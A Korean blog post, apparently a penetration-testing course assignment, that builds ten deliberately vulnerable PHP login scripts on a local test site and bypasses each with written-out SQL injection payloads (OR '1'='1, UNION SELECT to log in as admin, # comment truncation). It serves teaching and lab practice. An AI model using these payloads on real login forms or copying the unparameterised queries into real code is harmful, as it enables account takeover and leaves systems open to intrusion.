본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 3주차 해킹과제] 로그인 로직 만들기(1), SQL InJection

제목에 담기엔 너무 작아서 간단 하게 적었습니다.

 

원래 제목은 로그인 로직 케이스 개발 및 각각의 우회 기법 연구 및 연구 및  공격 방법 정리

입니다.

 

일단 로그인 로직은 무엇일까요?

 

간단하게 말하지면 로그인 코딩을 할 때 어느 구조로 코딩을 하냐입니다.

 

예시를 들자면

 

ID찾고 PW 확인

 

이것은 식별&인증을 따로 하는 로직입니다!

 

보시면 식별 즉 ID먼저 확인 한 후 인증(비밀번호)을 비교하는 것을 볼 수 있습니다. 제가 만든 페이지가 이런 형식이죠

 

 

생각해 보시면 식별이랑 인증을 같이 할 수 있습니다!

 

sql 보시면은..!

 

sql에 id랑 pw 같이 있는지 확인하는 게 보이시죠?

 

그리고 만약 있으면 로그인 성공하게 했습니다!

 

이게 식별이랑 인증을 같이 하는 로직입니다.

 

 

 

여기서 궁금증이 있을 수 있습니다.

그럼 둘 중 어느 로직이 더 좋은거야?

 

정답은 없습니다. 오히려 2번째께 더 빠르게 할 수 있어서 좋은 겁니다!

근데 2번째께 뚫린다면 1번째에서도 뚫린다는 이야기입니다!

 

왜냐하면 해커는 sql injection 공격을 하기 때문이죠!

 

-sql injection ??-

 

 

악의로 장난치는 겁니다

 

저희가 로그인을 할 때 id랑 pw를 작성을 합니다. 근데 만약 거기에 sql 문을 넣게 되면 어떻게 될까요??

 

예시입니다.

 

id랑 pw 찾는 sql문을

$sql = "SELECT * FROM LOGIN_INFO WHERE id='$login_id' AND pw = '$login_pw' "; 이거라 하겠습니다.

 

그리고 일반 사용자가 일반적인 id랑 pw를 작성한다고 합시다.

 

id : rerange

pw : 1234

 

그러면 무슨 일이 벌어질까요?

POST로 전달되어서 저 login 변수에 들어가게 됩니다,

 

$sql = "SELECT * FROM LOGIN_INFO WHERE id='rerange' AND pw = '1234' ";

 

굵은 글씨가 들어가진 데이터라고 보시면 됩니다.

 

근데 이때 해커가 ID에 이상한 문자를 넣는다고 합시다.

id: rerange' OR '1' = '1

pw : 1111

 

특이하죠? 근데 이것도 마찬가지로 POST로 보내어집니다.

 

그리고..

 

$sql = "SELECT * FROM LOGIN_INFO WHERE id='rerange' OR '1' = '1 ' AND pw = '1111' ";

 

이렇게 들어가게 됩니다!

 

그럼 어떻게 될까요?

참고로 sql은 AND 구문 먼저 연산처리합니다!

 

먼저 '1' = '1' AND pw = '1111' 먼저 보게 됩니다.

 

1=1은 당연히 참이고요 pw가 1111인 게 데이터베이스에 없으면 거짓을 반환하겠죠?

 

그럼 결국 이 AND 구문에서 거짓이 나오게 됩니다.

 

그런데! id= rerange라는 것은 데이터베이스에 있었죠? 그러니 참이 되고요

OR 구문으로 인해 뒤에 거짓이어도 이 id가 참이어서 아이디만 알고 있어도

 

로그인이 성공하게 됩니다!

 

이렇게 sql문을 삽입해서 자신이 아닌 다른 아이디로 로그인하거나

데이터베이스 조작을 할 수 있는 것이 바로 sql injection 공격입니다!

 

밑은 예시를 보여주는 그림입니다.

 

분명 비밀번호 틀렸는데 정보가 나옵니다! 사이트 제공해주신 노말틱님께 감사인사를..!

 

 

그럼 이제 얼추 아셨으니 이제 진짜 한 번 해보겠습니다!

 

물론 이 sql injection 공격 대응하는 방법이 있습니다. 근데 개발자가 이 대응하는 방법 모른다는 가정하에

여러 로그인 로직을 짜고 그걸 sql injection 공격해 보겠습니다.

 

꽤나 지루하겠지만 좋은 경험이 될 겁니다!

.

.

.

.

시작하죠

 

test.php : 로그인 화면

test_test.php : 메인 화면(어느 ID로 로그인 됐는지 출력)

test_process.php : 로그인 과정

text_logout.php : 로그아웃

 

생각보다 많네요

 

저희는 process에 있는 로그인 로직만 바꿀 테니 다른 건 코드 보여드릴게요

 

-test_test.php

 

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Welcome! HACKER!</title>
    </head>
    <body>
        <h1>Welcome! tester!</h1>
        <p>
        <?php 
            session_start(); //세션 시작

            if(!isset($_SESSION['login_id'])) {
                //로그인하지 않은 사용자
                header("Location: test.php"); //login 화면으로 바꾼다
                exit(); //이 페이지를 바로 닫는다
            }

            echo "당신은 ", $_SESSION['login_id'], " 입니다! 환영합니다! HAPPYHACKING!!";
        ?>
        </p>
        <p></p>
        <form action="test_logout.php" method="POST"> 
            <p><input type="submit" name="logout" value="로그아웃"></p>
        </form>

        <p></p>
    </body>
</html>

 

-test.php

 

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>HAPPY HACKING!</title>
    </head>
    <body>
        <h1>Login_test</h1>
        <form action="test_process.php" method="POST"> 
            <p><input type="text" name="id" placeholder="ID입력"></p>
            <p><input type="text" name="pw" placeholder="PW입력"></p>
            <p><input type="submit" value="로그인하기"></p>
        </form>
        <p>
        <?php session_start();
                if (isset($_SESSION['login_error'])) {
                    echo $_SESSION['login_error'];
                    unset($_SESSION['login_error']);
                }
        ?>
        </p>
    </body>
</html>

 

-test_logout.php

 

<?php
    session_start(); //세선 시작

    // 로그아웃 버튼 클릭 세션 제거
    if(isset($_POST['logout'])) {
        session_unset();
        session_destroy();
        header("Location: test.php"); //로그인 페이지 이동
    }
    exit(); //코드 종료
?>

 

그리고 데이터베이스엔 test 테이블에 id, pw 넣겠습니다

 

 

대충 DB에 로그인 정보 3명을 넣었습니다

 

비밀번호 해쉬는 되어있다고 가정하고요!

 

먼저 식별&인증 따로 한다고 가정하겠습니다

.

.

.

-1번째

 

<?php
    include 'DB_INFO.php'; //데이터 베이스 정보
    $test = 'test';
    //데이터베이스 연결
    $conn = mysqli_connect($host,$username,$password,$test);

    session_start(); //세션 시작
    //오류시 종료
    if(mysqli_connect_errno()) {
        die("데이터 베이스 오류: ". mysqli_connect_error());
    }
    //POST로 전달된 정보 받기
    $login_id = $_POST['id'];
    $login_pw = $_POST['pw'];
    
    //ID 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id'";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증
        $row = mysqli_fetch_array($result);
        $pw = $row['pw'];
        if($login_pw==$pw) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION['login_id'] = $row['id'];
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
            header("Location: test.php");
        }
    }
    else {
        //로그인 실패
        $_SESSION['login_error'] = '아이디 또는 비밀번호가 일치 하지 않습니다.';
        header("Location: test.php");
    }
?>

 

이제 데이터베이스 오류 종료까지는 계속 같을 테니 생략해서 올리겠습니다

sql문부터 계속 로직을 변경할 테니 깐요!

 

해봅시다

 

이게 정상이죠!

 

이러면??

 

이렇게 test가 나오게됩니다

 

이유가 뭘까요??

 

$sql = "SELECT * FROM test WHERE id='123123' OR '1' = '1 ' "; 먼저 이것부터 실행하겠죠?

이러면 그냥 참이 돼버립니다 왜냐 OR 구문 때문에 뒤에 1=1이 참이기 때문이에요

 

그러니 result은 id을 그냥 넘기게 되는데 맨 위에 있는 값을 가져옵니다

그리고 pw을 비교합니다. pw가 맞으면 저렇게 호출하게 됩니다!

 

이러는 상황은 ID는 모르고 PW을 아는 경우입니다. 이럴 상황이 0%에 가까우니 일단 알아만 두고 갑시다

 

그럼.. 조금 다르게 해 봅시다

id : x' union select '1111','2222','3333

pw: 2222

 

union은 sql 동시에 실행하게 도와줍니다

 

select '1111', '2222', '3333 이게 뭐죠?

 

한번 데이터베이스에 실행해 보면 나옵니다!

 

이렇게 나옵니다!

 

이게 그래서요?

 

저희가 x' 붙인 이유는 칼럼 이름을 받아오는 거라고 생각하시면 편합니다!

 

다음 예시로 보여드릴게요

 

어?

 

이러면 신기하게도 id는 1111 pass는 2222 이메일은 3333 info는 4444라고 표시가 됩니다!

 

이때 pass을 2222라 적으면???

 

저렇게 로그인이 성공하게 됩니다!

 

물론! 이 공격을 할 때 지켜야 되는 게 있습니다. select '1111','2222' ... 이 것은 컴럼 수에 맞춰서 작성해야 합니다

불러오는 칼럼이 4개면 '4444 까지 작성 해야하구요 만약 컬럼이 3개 불러오면 '3333 까지 작성해야만 합니다.

 

 

저는 이 기능을 활용해 admin으로 로그인하겠습니다

 

id = x' union select 'admin','2222','3333

pass = 2222

 

 

 

이러면 데이터베이스에 id는 admin, pw에는 2222 들어가고 test_id에 3333 들어가지겠죠??

admin,2222,3333은 데이터베이스 칼럼 순서대로 들어간다고 보면 됩니다!

 

 

쨘 성공

 

admin으로 로그인을 성공했습니다 비밀번호를 다르게 쳤는데 말이죠

.

.

.

.

 

이제 공격 방법은 다 설명드린 거 같습니다

 

OR로 공격하는 방법

union 공격하는 방법

#(주석처리) 공격하는 방법 --- 이 방법은 뒷 구문을 아예 지워서 다른 계정 로그인할 때 편하게 작성이 가능합니다!

하지만 데이터 얻는 용도일 땐 그리 많이 사용이 안되실 거예요

 

 

 

-2번째 로그인 로직

 

    //ID 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE (id='$login_id') ";

sql에서 ()가 있으면 어떻게 하면 뚫어질까요?

 

똑같이 하다간 오류 나게 됩니다 마지막 ) 때문이죠

 

id : x' union select 'admin','2222','3333

pass = 2222

 

음..

 

$sql = "SELECT * FROM test WHERE (id='x' union select 'admin', '2222', '3333') ";

 

이 괄호 때문에 문법이 엉크러 진 게 보입니다.

 

그러니 x' ) union select 'admin','2222','3333' # 입력하겠습니다.

이게 주석 처리해서 공격하는 겁니다!

#은 sql 문에서 #뒤에 있는 것은 전부 주석처리해서 안 읽게 하는 겁니다

 

id: x' ) union select 'admin','2222','3333' #

pw : 2222

 

 

성공!

 

 

-3번째 로그인 로직

 

    //ID 찾는 쿼리문
    $sql = " SELECT id FROM test WHERE id='$login_id' ";

 

이번엔 칼럼을 id만 가져오네요!

 

이러면 저희가 칼럼 수 맞춰서 x'  union select 'admin 해도 id에 admin이 들어가져서

비밀번호에서 걸리겠죠!

 

그럼 어떻게 할까요..

 

update 쓰면 되죠!

안됩니다. 그럼 그 피해자가 알게 되는 위험이 있습니다

 

사실 이건 함정입니다! Mistake 즉 실수라는 것이죠

 

왜냐 전체 코드 보여드리겠습니다.

 

    //ID 찾는 쿼리문
    $sql = " SELECT id FROM test WHERE id='$login_id' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증
        $row = mysqli_fetch_array($result);
        $pw = $row['pw'];
        if($login_pw==$pw) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION['login_id'] = $row['id'];
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
            header("Location: test.php");
        }
    }
    else {
        //로그인 실패
        $_SESSION['login_error'] = '아이디 또는 비밀번호가 일치 하지 않습니다.';
        header("Location: test.php");
    }

 

보시면 result에 어느 게 저장될 거 같나요? 바로 id만 저장되어 있을 겁니다!

 

왜냐하면 저희가 sql로 id만 들고 왔기 때문이죠

pw는 null값이겠죠

 

그래서 id에 admin만 입력하면 들어가집니다

 

속으..셨나요..?

 

다음!

이런 실수는 하지 말죠!

 

 

-4번째

    //ID 찾는 쿼리문
    $sql = " SELECT id,pw FROM test WHERE id='$login_id' ";

 

아! 이번엔 실수 안 하고 id랑 pw을 가져오게 했네요!

 

그럼 뭐 저희가 늘 쓰던 대로 union 쓰면 됩니다!

칼럼 수가 2개이니 맞춰서 쓰면 되겠죠?

 

id : x' union select 'admin','2222

pw : 2222

 

쉽네요!

 

 

-5번째

 

    //ID 찾는 쿼리문
    $sql = " SELECT id,pw FROM test WHERE (id='$login_id') ";

아하.. 그래요 이럴 수 있죠

 

id에 괄호로 묶고 칼럼 id, pw만 들고 오는 경우도 있죠

 

뚫는 거야 쉽죠

 

id: x') union select 'admin','2222' #

pw: 2222

easy! 이러는 경우도 있다는 걸 쌓고 가죠!

 

-6번째

 

이번엔 코드를 조금 많이 바꾸겠습니다.

 

    //ID 찾는 쿼리문
    $sql = " SELECT * FROM test WHERE id='$login_id' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);
    
    //쿼리 실행 결과 확인
    if(mysqli_num_rows($result) > 0 ) { 
        //ID있으니 비밀번호 검증용 sql
        $sql2 = " SELECT * FROM test WHERE pw='$login_pw' ";
        //쿼리 실행
        $result2 = mysqli_query($conn, $sql2);
        if(mysqli_num_rows($result2) > 0) {
            //로그인 성공
            session_regenerate_id(); //ID 자동 갱신
            $_SESSION['login_id'] = $login_id;
            header("Location: test_test.php");
        } else {
            //로그인 실패
            $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
            header("Location: test.php");
        }
    }
    else {
        //로그인 실패
        $_SESSION['login_error'] = '아이디 또는 비밀번호가 일치 하지 않습니다.';
        header("Location: test.php");
    }

차이점을 아시겠나요??

pw도 sql을 이용해서 찾는 걸로 바꿨습니다!

 

이럴 땐 방법이 뭘까요?

 

간단하죠 id는 정상으로 적고

pw에 sql 넣어서 공격하면 되겠죠!

 

해봅시다

 

id : admin

pw : ' OR '1'='1

 

오히려 더 쉬운거 같아요

 

 

-7번째

 

        //ID있으니 비밀번호 검증용 sql
        $sql2 = " SELECT * FROM test WHERE (pw='$login_pw') ";

 

아하.. 이번엔 괄호로 쳤네요

 

뭐.. 괄호도 쳐줍시다!

 

id: admin

pw : ') OR '1'='1'#

 

됬네요!

 

눈치챘었을 거라 생각을 해요!

pw에 sql문으로 검증하면 굳이 union을 안 써도 OR 구문으로만 공격해서 참만 나오게 하면 뚫립니다!

물론 이렇게 식별&인증을 따로 할 때 한정입니다

 

 

 

 

-8번째 

이제 식별이랑 인증을 같이 하는 경우를 보겠습니다

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id' AND pw = '$login_pw' ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    if(mysqli_num_rows($result) > 0) {
        //ID,PW가 있으니 로그인 성공
        $row = mysqli_fetch_array($result);
        session_regenerate_id(); //ID 자동 갱신
        $_SESSION['login_id'] = $row['id'];
        header("Location: test_test.php");
    } else {
        //로그인 실패
        $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
        header("Location: test.php");
    }

 

쉽게 #을 이용해서 pw을 아예 무시하는 방법이 있습니다

 

id : admin' #

pw : 1234

 

비밀번호 검증하는걸 아예 주석처리했죠

 

또 다른 방법은

id: admin' OR '1'='1 이 있죠

 

이러면 admin이 아니라 다른 계정으로 들어가 질 겁니다

이유는 맨 위에 있는 데이터를 가져오기 때문이죠! 위쪽에 설명되어 있습니다.

 

누구세요?

 

 

 

 

-9번째

 

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE (id='$login_id') AND (pw = '$login_pw') ";

    //쿼리 실행
    $result = mysqli_query($conn, $sql);

    if(mysqli_num_rows($result) > 0) {
        //ID,PW가 있으니 로그인 성공
        $row = mysqli_fetch_array($result);
        session_regenerate_id(); //ID 자동 갱신
        $_SESSION['login_id'] = $row['id'];
        header("Location: test_test.php");
    } else {
        //로그인 실패
        $_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
        header("Location: test.php");
    }

이번에도 괄호가 각각 처져 있네요

 

그럼 이번엔 괄호 신경 써서 작성해 보죠

 

id: admin') #

pw: 1234

 

쉽네요

 

 

-10번째

    //ID,PW 찾는 쿼리문
    $sql = "SELECT * FROM test WHERE id='$login_id'
    AND pw = '$login_pw' ";

오.. 이번엔 좀 새롭네요 저렇게 해도 sql구문이 정상으로 실행되죠.

 

한번 똑같이 해보겠습니다

 

id : admin' #

pw : 1234

 

!!!

안되네요! 이유가 뭘까요?

 

#의 의미를 좀 더 자세하게 알 필요가 있습니다.

#뒤에 있는 한 행을 지우는 겁니다!

그래서 실행 구문을 보면

 

$sql = "SELECT * FROM test WHERE id='admin' #
    AND pw = '$login_pw' ";

 

이렇게 AND가 다음 줄에 있어서 #은 무용지물이 됩니다.

 

그럼 방법이 뭘 가요..?

 

저희가 이용한 OR 구문이 있습니다!

 

id: admin' OR '1'='1

pw: 1111

이렇게 작성하겠습니다.

 

어 이번엔 admin 잘나오네요

 

한 번 sql 보겠습니다

 

$sql = "SELECT * FROM test WHERE id='admin' OR '1'='1 '
    AND pw = '1111' ";

 

이러면 AND 먼저 실행되니 id='admin' OR '거짓' 이렇게 되어서 OR구문 덕분에 그냥 admin이라 믿고 넘어가게 됩니다!

.

.

.

.

.

일단 오늘은 여기까지 작성하겠습니다. 다음에 계속 로그인 로직 추가하겠습니다

너무 기네요!